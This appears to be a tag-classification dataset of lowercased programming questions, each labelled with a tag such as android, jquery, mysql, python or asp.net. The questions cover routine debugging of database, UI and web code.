the type or namespace name  ui  cannot be found for using system.web.ui  i am following the tut here <a href= http://msdn.microsoft.com/en-us/library/h59db326.aspx  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/h59db326.aspx</a>   <blockquote>    #        create an app_code directory directly   under the root directory of your web   site (also called web application   root).   #        copy the source file for the control   (welcomelabel.cs or welcomelabel.vb)   to the app_code directory.  </blockquote>   but i got the error on    <pre><code>using system.web.ui; using system.web.ui.webcontrol; </code></pre>   i have tried to add system.web as reference but that still doesn t resolve the stuff. i can t see system.web.ui and system.web.ui.webcontrol in the reference lists is this normal      thanks.,asp.net
what can i use instead of array in javascript   i have a script that auto populate form (3 fields) and it does work as i wanted (previously)  but now  when i have like 2000 inputs  i can not handle it anymore. what i want to do is  make auto populate script where i can add more information later  for new inputs  now  i would need to start changing numbers for each input  i believe you ll understand batter through my code:    javascript:   <pre><code>var ids = new array(); var use = new array(); var ful = new array();  ids[0] =   ; use[0] =   ; ful[0] =   ;  ids[1] =  test1 ; use[1] =  test2 ; ful[1] =  test3 ;   ids[2] =  test1 ; use[2] =  test ; ful[2] =  test3 ;  ids[3] =  test1 ; use[3] =  test2 ; ful[3] =  test3 ;  ids[4] =  test1 ; use[4] =  test2 ; ful[4] =  test3 ;  function choice() { //x = document.getelementbyid( users ); y = document.getelementbyid( selectusers ); //x.value = y.options[y.selectedindex].text; document.getelementbyid( ids ).value = ids[y.selectedindex]; document.getelementbyid( use ).value = use[y.selectedindex]; document.getelementbyid( ful ).value = ful[y.selectedindex]; } </code></pre>   form:   <pre><code>&lt;select id= selectusers  class=  outtahere  name= users  onchange= choice(); &gt;&lt;option     value= 0  selected= selected &gt;choose...&lt;/option&gt; &lt;option value= 1 &gt;test1&lt;/option&gt; &lt;option value= 2 &gt;test2&lt;/option&gt; &lt;option value= 3 &gt;test3&lt;/option&gt; &lt;option value= 4 &gt;test4&lt;/option&gt; </code></pre>   the problem is in  if i try to add new option value on 2nd position  with value 5  i would need to change the javascript order again  1 2 3 4 5  i m wondering  if i m able to make the javascript like this and make it work:   <pre><code>&lt;option value= 1 &gt;test1&lt;/option&gt; &lt;option value= 2 &gt;test2&lt;/option&gt; &lt;option value= 4 &gt;test4&lt;/option&gt; &lt;option value= 3 &gt;test3&lt;/option&gt;   ids[2] =  test1 ; use[2] =  test ; ful[2] =  test3 ;  ids[4] =  test1 ; use[4] =  test2 ; ful[4] =  test3 ;  ids[3] =  test1 ; use[3] =  test2 ; ful[3] =  test3 ; </code></pre>   please note the difference in 3 and 4 ids.    what s the best option i can use,javascript
android database problems  i am creating an application where i am calling my database from a different activity but i keep getting all sorts of errors from on the database side of things. at first i was getting an  sqliteexception no such data  and when i deleted my application and installed it back  its now  android.database.sqlite.sqliteconstraintexception: error code 19: constraint failed .    i have no idea what to do anymore. have gone through so many different examples on creating database but i don t know if i am missing something .. here is my code for the database side:   <pre><code>import android.content.contentvalues; import android.content.context; import android.database.cursor; import android.database.sqlexception; import android.database.sqlite.sqlitedatabase; import android.database.sqlite.sqliteopenhelper; import android.util.log;   public class dbadapter {      private static final string database_name =  memodata.db ;     private static final int database_version = 1;     public static final string database_table =  memo ;      public static final string key_id =  _id ;     public static final string name =  title ;     public static final string start_date =  start_date ;     public static final string end_date =  end_date ;     public static final string notes =  notes ;      private static final string tag =  dbadapter ;      private static final string database_create =  create table memo (_id integer primary key autoincrement              +  title text not null  start_date text not null           +  end_date text not null            +  notes text not null); ;      private final context context;        private dbhelper dbhelper;     private sqlitedatabase db;      public dbadapter(context context) {         this.context = context;         dbhelper = new dbhelper(context);     }      private static class dbhelper extends sqliteopenhelper {          dbhelper(context context){             super(context  database_name  null  database_version);         }          @override         public void oncreate(sqlitedatabase db) {             db.execsql(database_create);         }           @override         public void onupgrade(sqlitedatabase db  int oldversion  int newversion) {             log.w(tag  upgrading database from version + oldversion+  to                      +newversion+  which oold data will be lost );             db.execsql( drop table if exits memo );             oncreate(db);         }     }      public dbadapter open()throws sqlexception {         db = dbhelper.getwritabledatabase();         return this;     }      public void close(){         dbhelper.close();     }    public long createitem(string title  string start_date string end_date string notes){              open();             contentvalues initialvalues = new contentvalues();             initialvalues.put(name  title);             initialvalues.put(start_date  start_date);             initialvalues.put(end_date  end_date);             initialvalues.put(notes  notes);              return db.insert(database_table  null  initialvalues);             }        public cursor retrieveitems(){             sqlitedatabase db = dbhelper.getwritabledatabase();             string[] resultcolumns = new string[] {name start_date end_date notes };           cursor cursor = db.query(database_table  resultcolumns  null  null  null  null  null);              integer cindex = cursor.getcolumnindex( title );             string result =  result =  ;              if(cursor.movetofirst()){                 do {                     result += cursor.getstring(cindex)+  - ;                 }while(cursor.movetonext());             }             return cursor;         } } </code></pre>   and here is the main error output:    08-23 22:38:17.104: error/database(775): error inserting notes=notes: end_date=due date: title=name of item: start_date=start date: 08-23 22:38:17.104:error/database(775): android.database.sqlite.sqliteconstraintexception: error code 19: constraint failed    08-23 22:38:17.104: error/database(775):at android.database.sqlite.sqlitestatement.native_execute(native method)    08-23 22:38:17.104: error/database(775):at android.database.sqlite.sqlitestatement.execute(sqlitestatement.java:66)    08-23 22:38:17.104: error/database(775):at android.database.sqlite.sqlitedatabase.insertwithonconflict(sqlitedatabase.java:1313)    08-23 22:38:17.104: error/database(775):at android.database.sqlite.sqlitedatabase.insert(sqlitedatabase.java:1173)    08-23 22:38:17.104: error/database(775):at com.memo.dbadapter.createitem(dbadapter.java:94)    08-23 22:38:17.104: error/database(775):at com.memo.newitem.save(newitem.java:365),android
match against unveiled  i d like to understand the behind the scene of match against.<br> it returns a score from 0 to 10 but i don t understand the criteria. i was just able to see that trying to match the exact string it returns 0.0906190574169159 while if the string is not contained at all it returns 0. any enlightment,mysql
how to select a div that has attribute equals to  i have trouble selecting a div s html content by selecting the div based on its attribute value.    my html is this:   <pre><code>&lt;div id= infowrap1  class= widgetinfobox  possition= 1  wid= qi  style=  &gt;.....&lt;/div&gt; &lt;div id= infowrap2  class= widgetinfobox  possition= 2  wid= cp  style=  &gt;.....&lt;/div&gt; &lt;div id= infowrap3  class= widgetinfobox  possition= 3  wid= pp  style=  &gt;.....&lt;/div&gt; &lt;div id= infowrap4  class= widgetinfobox  possition= 4  wid= mt  style=  &gt;.....&lt;/div&gt; </code></pre>   lets say i want to get the html() of div with possition=1 ... i tried using    <pre><code>var p1=$( .widgetinfobox [possition= 1 ] ).html(); alert(p1);  </code></pre>   ..but i get  undefined   where if i alert only <code>$( .widgetinfobox [possition= 1 ] )</code> i get <code>[object object]</code>. if i select the <code>.text()</code> i get empty string.     how can i do this   thanks in advance,jquery
can t seem to connect to client s external sql server from asp.net in vs  but can connect through ssms  i ve done this many times  but most of the time it is through a vpn.  but i have done it correctly without a problem before.  could there be additional security that i am not aware of that is preventing me from connecting   i ve checked the connection string information very closely.  here s my latest attempt (i have the ip address  port  username  and passowrd; ssms has no problem connecting with this information):   <pre><code>&lt;add name= liveconnection  connectionstring= data source=xx.xx.xx.xx 1433;network library=dbmssocn;initial catalog=[database name];user id=[user name];password=[password];  providername= system.data.sqlclient /&gt; </code></pre>,asp.net
how to share structures within several files in my program   here s my problem: i have a big main.c file containing 40 or so  global  structures in my program (they are declared at the begining on the files)  i also have several functions in my main.c file that i are able to directly read and write into these structures since they are global. now i m trying to move several function of my original main.c file into another .c file that would contain only the functions related to a specific part of my program. but of course i cannot directly access the main.c global variables from my new .c file. is there a way around this  i d like to avoid passing every structure by pointer as this would get horrible function prototypes. thanks,c
dotted lines are not showing up in css...!  i am just working on a site.here got completed everything..but almost..one thing not getting..so thought you people might help me...    here it is please :    here i am trying to make the dotted lines just right below the links like this :    <a href= http://oi62.tinypic.com/2f07uy8.jpg  rel= nofollow >http://oi62.tinypic.com/2f07uy8.jpg</a>    here is the above image given css code please :   <pre><code>.navigation li ul li a {     color: #000;     background: none !important;     border-bottom: 1px dotted #000;     padding: 0;      display: inline-block; } </code></pre>   but it s not showing up right..here is the current image:    <a href= http://oi60.tinypic.com/es5jrq.jpg  rel= nofollow >http://oi60.tinypic.com/es5jrq.jpg</a>    here is the above image given css code please :   <pre><code>.navigation li ul li a {     color: #000;     background: #e4e4e4;     height: 0;      border-bottom: 1px dotted #000;     padding: 0px;     display: inline-block; } </code></pre>,css
problems with  rails server   i am new in ruby on rails  so sorry for the question  it might be pretty easy  but..    so  here is my problem: i have ubuntu 12.04 with ror on it. i am taking part in some project  so i ve checked out svn  installed bundle  and now i have problems with rails server. here is the log from terminal   <pre>      public is no longer used to avoid overloading module#public  use :public_folder instead     from /usr/lib/ruby/gems/1.8/gems/web_translate_it-1.7.1.3/lib/web_translate_it/server.rb:12     deprecation warning: require  activerecord  is deprecated and will be removed in rails 3. use require  active_record  instead. (called from /usr/lib/ruby/vendor_ruby/activerecord.rb:2)     => booting webrick     => rails 3.2.12 application starting in development on http://0.0.0.0:3000     => call with -d to detach     => ctrl-c to shutdown server     exiting     /usr/lib/ruby/gems/1.8/gems/mysql2-0.3.11/lib/mysql2/client.rb:44:in `connect : access denied for user  fubademoall @ localhost  (using password: yes) (mysql2::error)         from /usr/lib/ruby/gems/1.8/gems/mysql2-0.3.11/lib/mysql2/client.rb:44:in `initialize          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/mysql2_adapter.rb:16:in `new          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/mysql2_adapter.rb:16:in `mysql2_connection          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:315:in `send          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:315:in `new_connection          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:325:in `checkout_new_connection          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:247:in `checkout          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:242:in `loop          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:242:in `checkout          from /usr/lib/ruby/1.8/monitor.rb:242:in `synchronize          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:239:in `checkout          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:102:in `connection          from /usr/lib/ruby/1.8/monitor.rb:242:in `synchronize          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:101:in `connection          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_pool.rb:410:in `retrieve_connection          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_specification.rb:171:in `retrieve_connection          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/connection_adapters/abstract/connection_specification.rb:145:in `connection          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/model_schema.rb:308:in `clear_cache!          from /usr/lib/ruby/gems/1.8/gems/activerecord-3.2.12/lib/active_record/railtie.rb:97:in `_callback_before_3          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/callbacks.rb:418:in `_run__1552657550__prepare__4__callbacks          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/callbacks.rb:405:in `send          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/callbacks.rb:405:in `__run_callback          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/callbacks.rb:385:in `_run_prepare_callbacks          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/callbacks.rb:81:in `send          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/callbacks.rb:81:in `run_callbacks          from /usr/lib/ruby/gems/1.8/gems/actionpack-3.2.12/lib/action_dispatch/middleware/reloader.rb:74:in `prepare!          from /usr/lib/ruby/gems/1.8/gems/actionpack-3.2.12/lib/action_dispatch/middleware/reloader.rb:48:in `prepare!          from /usr/lib/ruby/gems/1.8/gems/railties-3.2.12/lib/rails/application/finisher.rb:47         from /usr/lib/ruby/gems/1.8/gems/railties-3.2.12/lib/rails/initializable.rb:30:in `instance_exec          from /usr/lib/ruby/gems/1.8/gems/railties-3.2.12/lib/rails/initializable.rb:30:in `run          from /usr/lib/ruby/gems/1.8/gems/railties-3.2.12/lib/rails/initializable.rb:55:in `run_initializers          from /usr/lib/ruby/gems/1.8/gems/railties-3.2.12/lib/rails/initializable.rb:54:in `each          from /usr/lib/ruby/gems/1.8/gems/railties-3.2.12/lib/rails/initializable.rb:54:in `run_initializers          from /usr/lib/ruby/gems/1.8/gems/railties-3.2.12/lib/rails/application.rb:136:in `initialize!          from /usr/lib/ruby/gems/1.8/gems/railties-3.2.12/lib/rails/railtie/configurable.rb:30:in `send          from /usr/lib/ruby/gems/1.8/gems/railties-3.2.12/lib/rails/railtie/configurable.rb:30:in `method_missing          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:251:in `require          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:251:in `require          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:236:in `load_dependency          from /usr/lib/ruby/gems/1.8/gems/activesupport-3.2.12/lib/active_support/dependencies.rb:251:in `require   </pre>   thank you in advice!,ruby-on-rails
hiding active nav-pill tab while showing not active nav-pill tab  i made a nav pill and i want to make the active tab hidden and not active tab to show.when i click on not active tab  then vise versa. i tried a code in jquery  but i need to click twice on tab.and also  at the time of loading the page  i need to trigger this click event   <pre><code> &lt;ul class= nav nav-pills  id= navpill &gt;     &lt;li class= active navgen &gt;&lt;a href= #sres  data-toggle= tab  style= padding:7px 7px 7px 7px; &gt;add single resource &lt;i class= fa fa-angle-double-right &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li     &lt;li class= navgen &gt;&lt;a href= #mres  data-toggle= tab  style= padding:7px 7px 7px 7px; &gt;add bulk resources &lt;i class= fa fa-angle-double-right &gt;&lt;/i&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;!-- tab panes --&gt; &lt;div class= tab-content &gt;     &lt;div class= tab-pane fade in active  id= sres &gt;       content1 here     &lt;/div&gt;     &lt;div class= tab-pane fade  id= mres &gt;       content2 here     &lt;/div&gt; &lt;/div&gt; </code></pre>  <h2>jquery code:</h2>  <pre><code>$( .navgen ).on( click  function(){     $( #navpill li.active ).hide();     $( #navpill li:not(.active) ).show(); }); </code></pre>,jquery
mysql showing the last two months sales  i am trying to extract a report that shows the last two full calendar months sales as per the following format:   <pre><code>customer           august 2013    september 2014 company a                1 250             2 543 company b                4 245             1 423 company c                1 432             1 642 </code></pre>   i have a table with the customer and individual transaction with a cost. i am fine getting this out but have no idea how to get two columns next to each other.   <pre><code>select customers.customer as customer         sum(job.price) as august_2014  from job customers where customers.cust_id=job.customer  and job.collect_date between  2014-08-01  and  2014-08-31  group by customer order by august_2014 desc  limit 0 10 </code></pre>   thanks for any help.    john,mysql
attach a string to another string in c without any spaces  this is my first post in this forum so please be patient.    i need to make a short programm  where the user can enter 2 strings which should be attached afterwards. i already got this code below (i am not allowed to use other  includes ).    what i need to know is: how can i deny any spaces which the user will enter   example: 1. string  hello   | 2. string  world    result should be  helloworld  instead of  hello  world .   <pre><code>#include &lt;stdio.h&gt;  void main() {     char eingabe1[100];     char eingabe2[100];     int i = 0;     int j = 0;     printf( gib zwei wörter ein  die aneinander angehängt werden sollen\n );     printf( 1. zeichenkette:  );     gets(eingabe1);     printf( \n );     printf( 2. zeichenkette:  );     gets(eingabe2);     printf( \n );      while (eingabe1[i] !=  \0 )     {         i++;     }      while (eingabe2[j] !=  \0 )     {         eingabe1[i++] = eingabe2[j++];     }     eingabe1[i] =  \0 ;     printf( nach verketten:  );     puts(eingabe1);  } </code></pre>,c
access wsdl webservice with .svc extension in iphone  hiii.. i am creating one application in which i am using web service named  http://192.168.0.51/ipaddatacollection/service.svc wsdl  . i have parsed class from this web service and i have written the code to access one method named testconnection but i am getting error 400 (bad request).  can anyone help me to solve this issue   thanx in advance.   <pre><code>basichttpbinding_iservicebinding *binding=[[service  basichttpbinding_iservicebinding]initwithaddress:@ http://192.168.0.51/ipaddatacollection/service.svc wsdl ]; binding.logxmlinout = yes;  service_testconnection *request = [[service_testconnection alloc] init]; request.unique_id =txtid.text;  [binding testconnectionasyncusingparameters:request delegate:self];  [spinner startanimating]; [request release]; </code></pre>,ios
html input tags in hidden div are disabled when the div is displayed <pre><code>&lt;div id= divout  class= section  style= display:none &gt;     &lt;div id= divin  class= section  style= display:none &gt;         .. textboxes and dropdown     &lt;/div&gt; &lt;/div&gt; </code></pre>   i have divin inside divout.  inside divin  i have textboxes and dropdown.     initially these are hidden. when i display the div.. the textboxes are visible but they are disabled in mozilla. i cannot click with a mouse. i am using below to display the div tags.   <pre><code>document.getelementbyid( divout ).style.display = block ; document.getelementbyid( divin ).style.display = block ; </code></pre>   i tried several ways to set the disable flag to false - didnt help. i also noticed in firebug .. the disable flag is false. but still  the entire div section is disabled. this works on ie. but does not work on mozilla or chrome,html
attribute exception error raised when i run this cli app  i wrote a small cli todo app in docopt but when i run it <code>python t.py</code> i get this exception at the end  everything seems to work fine though. and when i pass a command to the app i get no exceptions at all. one more thing  if i remove the <code>__del__</code> method no exception appears but i thing we need to close the sqlite db connection. any suggestions    <pre><code>exception attributeerror:   todo  object has no attribute  db   in &lt;bound method todo.__del__ of &lt;__main__.todo object at 0x1038dac50&gt;&gt; ignored </code></pre>   app code:   <pre><code>   t  a unix command-line todo application  usage:   t   add &lt;task&gt;   t   check &lt;id&gt;   t   uncheck &lt;id&gt;   t   clear   t   ls [--all]   t   -h | --help   t   --version  commands:   add           add a new task   check         check a new task as done   uncheck       uncheck a task as done   clear         refresh the database   ls            list all tasks  options:   -h --help     show this screen.   --version     show version.   --all         list all tasks     import sqlite3 import os import datetime from docopt import docopt from termcolor import colored from prettytable import prettytable  smiley =  \xf0\x9f\x98\x83   # smiley emoji grin =  \xf0\x9f\x98\x81   # grin face emoji   def echo(msg  err=false):             a simple function for printing to terminal with colors and emoji s             if err:         print colored(msg +     + grin   red )     else:         print colored(msg +     + smiley   cyan )   class todo(object):      def __init__(self):                     set up the db and docopt upon creation of object                     self.arg = docopt(__doc__  version=0.10)         # create a path to store the database file         db_path = os.path.expanduser( ~/ )         self.db_path = db_path +  /  +  .t-db          self.init_db()      def init_db(self):         self.db = sqlite3.connect(self.db_path)         self.cursor = self.db.cursor()         self.cursor.execute(                create table if not exists todo(id integer primary key  task text              done int  date_added text  date_completed text)                )         self.db.commit()      def run(self):                     parse the arg s using docopt and route to the respoctive methods                     if self.arg[ add ]:             self.add_task()         elif self.arg[ check ]:             self.check_task()         elif self.arg[ uncheck ]:             self.uncheck_task()         elif self.arg[ clear ]:             self.clear_task()         else:             if self.arg[ --all ]:                 self.list_task()             else:                 self.list_pending_tasks()      def _record_exists(self  id):                     checks if the record exists in the db                     self.cursor.execute(                select * from todo where id=                 (id ))         record = self.cursor.fetchone()         if record is none:             return false         return true      def _is_done(self  id):                     checks if the task has already been marked as done                     self.cursor.execute(                select done from todo where id=                 (id ))         record = self.cursor.fetchone()         if record == 0:             return false         return true      def add_task(self):                     add a task todo to the db                     task = self.arg[ &lt;task&gt; ]         date = datetime.datetime.now()         date_now =  %s-%s-%s  % (date.day  date.month  date.year)         self.cursor.execute(              insert into todo(task  done  date_added)           values (       )              (str(task)  0  date_now))         self.db.commit()         echo( the task has been been added to the list )      def check_task(self):                     mark a task as done                     task_id = self.arg[ &lt;id&gt; ]         date = datetime.datetime.now()         date_now =  %s-%s-%s  % (date.day  date.month  date.year)         if self._record_exists(task_id):             self.cursor.execute(                    update todo set done=   date_completed=  where id=                   (1  date_now  int(task_id)))             echo( task %s has been marked as done  % str(task_id))             self.db.commit()         else:             echo( task %s doesn t exist  % (str(task_id))  err=true)      def uncheck_task(self):                     mark as done task as undone                     task_id = self.arg[ &lt;id&gt; ]         if self._record_exists(task_id):             self.cursor.execute(                    update todo set done=  where id=                     (0  int(task_id)))             echo( task %s has been unchecked  % str(task_id))             self.db.commit()         else:             echo( task %s doesn t exist  % str(task_id)  err=true)      def list_task(self):                     display all tasks in a table                     tab = prettytable([ id    task todo    done      date added                              date completed ])         tab.align[ id ] =  l          tab.padding_width = 1         self.cursor.execute(                select id  task  done  date_added  date_completed from todo              )         records = self.cursor.fetchall()         for each_record in records:             if each_record[2] == 0:                 done =  nop              else:                 done =  yup              if each_record[4] is none:                 status =  pending...              else:                 status = each_record[4]             tab.add_row([each_record[0]  each_record[1]  done                          each_record[3]  status])         print tab      def list_pending_tasks(self):                     display all pending tasks in a tabular form                     tab = prettytable([ id    task todo    date added ])         tab.align[ id ] =  l          tab.padding_width = 1         self.cursor.execute(                select id  task  date_added from todo where done=                 (int(0) ))         records = self.cursor.fetchall()         for each_record in records:             tab.add_row([each_record[0]  each_record[1]  each_record[2]])         print tab      def clear_task(self):                     delete the table to refresh the app                     self.cursor.execute(                drop table todo              )         self.db.commit()      def __del__(self):         self.db.close()   def main():             entry point for console script             app = todo()     app.run()  if __name__ ==  __main__ :     main() </code></pre>,python
verify if dynamically added content exist with jquery  i have a div dynamically populated with different forms (depending from users taks). i need to verify wich form has benn added (i have an id list) and  if present  add a button after the from.    <pre><code>&lt;div id= container &gt;    &lt;div id= dynamic_head &gt;content&lt;/div&gt; &lt;form id= dymanic_form1 &gt;....form content....&lt;/form&gt; ----- here i need the button ----- &lt;/div&gt; </code></pre>   in jquery i tried   <pre><code>function newbutton() { var bottone_modifica =  new button html ; var arr = [ dymanic_form1    dymanic_form2    dymanic_form4    dymanic_form5    dymanic_form9 ]; $.each(arr  function(i  form_id) {   if ($( #  + form_id).length != 0) {     $( #  + form_id).after(bottone_modifica);   } }); } </code></pre>   and this function is called immediatly after the function that generate the dynamic form.     i also tried to refere to the new element with:   <pre><code>$( #container #  + form_id) </code></pre>   instead of    <pre><code>$( #  + form_id) </code></pre>   but doesn t work.,jquery
cellforrowatindexpath resource access  i need to customize the separator lines of my uitableview and for that i have to access a resource (png file) inside the method cellforrowatindexpath like this :   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {  // some code here  mycustomseparator.backgroundcolor = [uicolor colorwithpatternimage:[uiimage imagenamed:@ separator.png ]];  // code ...  } </code></pre>   the thing is i heard it s not a good practice to access resources inside this method. is it true,ios
setonitemselectedlistener is not triggering with the programmatically created spinner android  my need is to    <ol> <li>create a dynamic spinner on a button click</li> <li>select the spinner values and set the values into an edit text field.  </li> </ol>   for this i have created a dynamic spinner programatically. put that code inside button click listener. its working fine upto here.    but the <code>setonitemselectedlistener</code> of the dynamic spinner is not at all working.. there are no errors in the logcat... please help me..    ------------ these are the methods inside oncreate ------------   <pre><code>spinner spnouthospitallist = new spinner(referance.this);  // list button on click event btnlist = (button) findviewbyid(r.id.btn_list); btnlist.setonclicklistener(new onclicklistener() {     @override     public void onclick(view v) {     // todo auto-generated method stub     // function to create spinner dynamically     createdynamicspinner();     } });  // out hospital list spinner on item click listener spnouthospitallist.setonitemselectedlistener(new onitemselectedlistener() {     @override     public void onitemselected(adapterview&lt; &gt; arg0  view arg1 int position  long arg3) {     // todo auto-generated method stub     outhospitalname = hospitalnamelistarray.get(position);     outhospital.settext(outhospitalname);     }     @override     public void onnothingselected(adapterview&lt; &gt; arg0) {     // todo auto-generated method stub     } });    ------------ these are the functions outside oncreate but inside the activity------------   // to create spinner dynamically private void createdynamicspinner() {     // todo auto-generated method stub     spnouthospitallist.setlayoutparams(new linearlayout.layoutparams(layoutparams.wrap_content  layoutparams.wrap_content));     loadouthospitallistspinner();     spnouthospitallist.performclick(); }  // to load out hospital/ clinic data into spinner private void loadouthospitallistspinner() {     // todo auto-generated method stub     try {         if (getfirstrun()) {         sampledb = dbadapter.getdatabase();         setrunned();         }          else {         sampledb = dbadapter.getwritabledatabase();         }         cursor c1 = sampledb.rawquery( select distinct epr_out_hospital from emr_pt_refernce  null);         system.out.println( count is   + c1.getcount());          if (c1 != null &amp;&amp; c1.getcount() != 0) {             hospitalnamelistarray.clear();                 if (c1.movetofirst()) {                     do {                         hospitalnamelistarray.add(c1.getstring(c1.getcolumnindex( epr_out_hospital )));                     } while (c1.movetonext());                   }             }             c1.close();              arrayadapter&lt;string&gt; dataadapter = new arrayadapter&lt;string&gt;(this android.r.layout.simple_spinner_item  hospitalnamelistarray);              // dropdownlist             dataadapter.setdropdownviewresource(android.r.layout.simple_spinner_dropdown_item);              spnouthospitallist.setadapter(dataadapter);          }          catch (exception e) {             // todo: handle exception             system.out.println( cat list error is:   + e.getmessage());         }      } </code></pre>,android
how change back image and select image   i make app. and i don`t change backimage    i want this picture:    <img src= https://i.stack.imgur.com/oqumm.png  alt= enter image description here >    i tried two way.    one is ( uisegmentedcontrol name is  seg )   <pre><code>seg = [[uisegmentedcontrol alloc] initwithitems:nil]; [seg insertsegmentwithimage:[uiimage imagenamed:@ ttt.png ] atindex:0 animated:false]; [seg insertsegmentwithimage:[uiimage imagenamed:@ ttt_1.png ] atindex:1 animated:false]; </code></pre>   other way is ..   <pre><code>[seg setimage:.........]; </code></pre>   i hope change like that picture..    plz help me...,iphone
array out of bounds in android for no reason  i was debugging my app  having it turned on and suddenly it crashed for no reason. it was running good for a few minutes. normally this wouldn t be a problem since crashlogs help  but this time the crashlog is useless. maybe you can see in here why it crashed    <pre><code>    java.lang.indexoutofboundsexception: invalid index 302  size is 0         at java.util.arraylist.throwindexoutofboundsexception(arraylist.java:255)         at java.util.arraylist.get(arraylist.java:308)         at android.widget.arrayadapter.getitem(arrayadapter.java:337)         at android.widget.arrayadapter.createviewfromresource(arrayadapter.java:390)         at android.widget.arrayadapter.getview(arrayadapter.java:362)         at android.widget.abslistview.obtainview(abslistview.java:2347)         at android.widget.listview.makeandaddview(listview.java:1864)         at android.widget.listview.fillup(listview.java:732)         at android.widget.listview.correcttoohigh(listview.java:1421)         at android.widget.listview.fillspecific(listview.java:1359)         at android.widget.listview.layoutchildren(listview.java:1651)         at android.widget.abslistview.onlayout(abslistview.java:2151)         at android.view.view.layout(view.java:15671)         at android.view.viewgroup.layout(viewgroup.java:5038)         at android.widget.framelayout.layoutchildren(framelayout.java:579)         at android.widget.framelayout.onlayout(framelayout.java:514)         at android.view.view.layout(view.java:15671)         at android.view.viewgroup.layout(viewgroup.java:5038)         at android.widget.framelayout.layoutchildren(framelayout.java:579)         at android.widget.framelayout.onlayout(framelayout.java:514)         at android.view.view.layout(view.java:15671)         at android.view.viewgroup.layout(viewgroup.java:5038)         at android.widget.framelayout.layoutchildren(framelayout.java:579)         at android.widget.framelayout.onlayout(framelayout.java:514)         at android.view.view.layout(view.java:15671)         at android.view.viewgroup.layout(viewgroup.java:5038)         at android.support.v4.widget.drawerlayout.onlayout(drawerlayout.java:1043)         at android.view.view.layout(view.java:15671)         at android.view.viewgroup.layout(viewgroup.java:5038)         at android.widget.framelayout.layoutchildren(framelayout.java:579)         at android.widget.framelayout.onlayout(framelayout.java:514)         at android.view.view.layout(view.java:15671)         at android.view.viewgroup.layout(viewgroup.java:5038)         at com.android.internal.widget.actionbaroverlaylayout.onlayout(actionbaroverlaylayout.java:494)         at android.view.view.layout(view.java:15671)         at android.view.viewgroup.layout(viewgroup.java:5038)         at android.widget.framelayout.layoutchildren(framelayout.java:579)         at android.widget.framelayout.onlayout(framelayout.java:514)         at android.view.view.layout(view.java:15671)         at android.view.viewgroup.layout(viewgroup.java:5038)         at android.view.viewrootimpl.performlayout(viewrootimpl.java:2086)         at android.view.viewrootimpl.performtraversals(viewrootimpl.java:1843)         at android.view.viewrootimpl.dotraversal(viewrootimpl.java:1061)         at android.view.viewrootimpl$traversalrunnable.run(viewrootimpl.java:5885)         at android.view.choreographer$callbackrecord.run(choreographer.java:767)         at android.view.choreographer.docallbacks(choreographer.java:580)         at android.view.choreographer.doframe(choreographer.java:550)         at android.view.choreographer$framedisplayeventreceiver.run(choreographer.java:753)         at android.os.handler.handlecallback(handler.java:739)         at android.os.handler.dispatchmessage(handler.java:95)         at android.os.looper.loop(looper.java:135)         at android.app.activitythread.main(activitythread.java:5254)         at java.lang.reflect.method.invoke(native method)         at java.lang.reflect.method.invoke(method.java:372)         at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:903)         at com.android.internal.os.zygoteinit.main(zygoteinit.java:698) </code></pre>   this is how i add the adapter to the listview that i think is affected   <pre><code>    msgs = new circulararray&lt;message&gt;(helper.getallmessages()  msg_stack_size);     if (msgs.getsize() &gt; 0){         sortedmessages.clear();         sortedmessages.addall(msgs.getallsorted());         createadapter();     }     setlistadapter(adapter); </code></pre>   <code>sortedmessages</code> is a field that is passed to the adapter s constructor in <code>createadapter</code>. i also modify that list in a listener that is called from another thread:   <pre><code>    public void onnewmessage(message msg) {         msgs.add(msg);         helper.insertmessage(msg);          sortedmessages.clear();         sortedmessages.addall(msgs.getallsorted());         chatfragment.this.getactivity().runonuithread(new runnable() {             @override             public void run() {                 adapter.notifydatasetchanged();                 setselection(adapter.getcount() - 1);             }         });     } </code></pre>,android
